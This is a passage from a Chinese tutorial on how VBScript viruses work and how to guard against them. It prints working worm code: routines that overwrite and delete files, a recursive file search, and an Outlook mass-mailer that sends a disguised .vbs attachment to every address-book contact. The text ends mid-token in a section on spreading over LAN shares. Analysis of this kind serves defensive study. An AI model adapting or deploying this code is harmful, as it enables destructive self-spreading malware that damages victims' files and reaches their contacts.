VBS脚本病毒原理分析与防范
作者 佚名
来源 ASP编程
浏览
发布时间 2013-07-09
代码覆盖目标文件 ap.close setcop=fso.getfile(目标文件.path)''得到目标文件路径 cop.copy(目标文件.path&".vbs")''创建另外一个病毒文件(以.vbs为后缀) 目标文件.delete(true)''删除目标文件 上面描述了病毒文件是如何感染正常文件的:首先将病毒自身代码赋给字符串变量vbscopy,然后将这个字符串覆盖写到目标文件,并创建一个以目标文件名为文件名前缀、vbs为后缀的文件副本,最后删除目标文件。 下面我们具体分析一下文件搜索代码: ''该函数主要用来寻找满足条件的文件,并生成对应文件的一个病毒副本 subscan(folder_)''scan函数定义, onerrorresumenext''如果出现错误,直接跳过,防止弹出错误窗口 setfolder_=fso.getfolder(folder_) setfiles=folder_.files''当前目录的所有文件集合 foreachfileinfilesext=fso.GetExtensionName(file)''获取文件后缀 ext=lcase(ext)''后缀名转换成小写字母 ifext="mp5"then''如果后缀名是mp5,则进行感染。请自己建立相应后缀名的文件,最好是非正常后缀名,以免破坏正常程序。 Wscript.echo(file) endif next setsubfolders=folder_.subfolders foreachsubfolderinsubfolders''搜索其他目录;递归调用 scan() scan(subfolder) next endsub 上面的代码就是VBS脚本病毒进行文件搜索的代码分析。搜索部分scan()函数做得比较短小精悍,非常巧妙,采用了一个递归的算法遍历整个分区的目录和文件。 2.vbs脚本病毒通过网络传播的几种方式及代码分析 VBS脚本病毒之所以传播范围广,主要依赖于它的网络传播功能,一般来说,VBS脚本病毒采用如下几种方式进行传播: 1)通过Email附件传播 这是一种用的非常普遍的传播方式,病毒可以通过各种方法拿到合法的Email地址,最常见的就是直接取outlook地址簿中的邮件地址,也可以通过程序在用户文档(譬如htm文件)中搜索Email地址。 下面我们具体分析一下VBS脚本病毒是如何做到这一点的: FunctionmailBroadcast() onerrorresumenext wscript.echo SetoutlookApp=CreateObject("Outlook.Application")//创建一个OUTLOOK应用的对象 IfoutlookApp="Outlook"Then SetmapiObj=outlookApp.GetNameSpace("MAPI")//获取MAPI的名字空间 SetaddrList=mapiObj.AddressLists//获取地址表的个数 ForEachaddrInaddrList Ifaddr.AddressEntries.Count<>0Then addrEntCount=addr.AddressEntries.Count//获取每个地址表的Email记录数 ForaddrEntIndex=1ToaddrEntCount//遍历地址表的Email地址 Setitem=outlookApp.CreateItem(0)//获取一个邮件对象实例 SetaddrEnt=addr.AddressEntries(addrEntIndex)//获取具体Email地址 item.To=addrEnt.Address//填入收信人地址item.Subject="病毒传播实验"//写入邮件标题 item.Body="这里是病毒邮件传播测试,收到此信请不要慌张!"//写入文件内容 SetattachMents=item.Attachments//定义邮件附件 attachMents.AddfileSysObj.GetSpecialFolder(0)&"\test.jpg.vbs" item.DeleteAfterSubmit=True//信件提交后自动删除 Ifitem.To<>""Then item.Send//发送邮件 shellObj.regwrite"HKCU\software\Mailtest\mailed","1"//病毒标记,以免重复感染 EndIf Next EndIf Next Endif EndFunction 2)通过局域网共享传播 局域网共享传播也是一种非常普遍并且有效的网络传播方式。一般来说,为了局域网内交流方便,一定存在不少共享目录,并且具有可写权限,譬如win2000创建共享时,默认就是具有可写权限。这样病毒通过搜索这些共享目录,就可以将病毒代码传播到这些目录之中。 在VBS中,有一个对象可以实现网上邻居共享文件夹的搜索与文件操作。我们利用该对象就可以达到传播的目的。 welcome_msg="网络连接搜索测试" SetWSHNe |
凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务,公司网站:http://www.lingzhong.cn 为了给广大客户了解更多的技术信息,本技术文章收集来源于网络,凌众科技尊重文章作者的版权,如果有涉及你的版权有必要删除你的文章,请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢! |
你可能对下面的文章感兴趣
关于VBS脚本病毒原理分析与防范的所有评论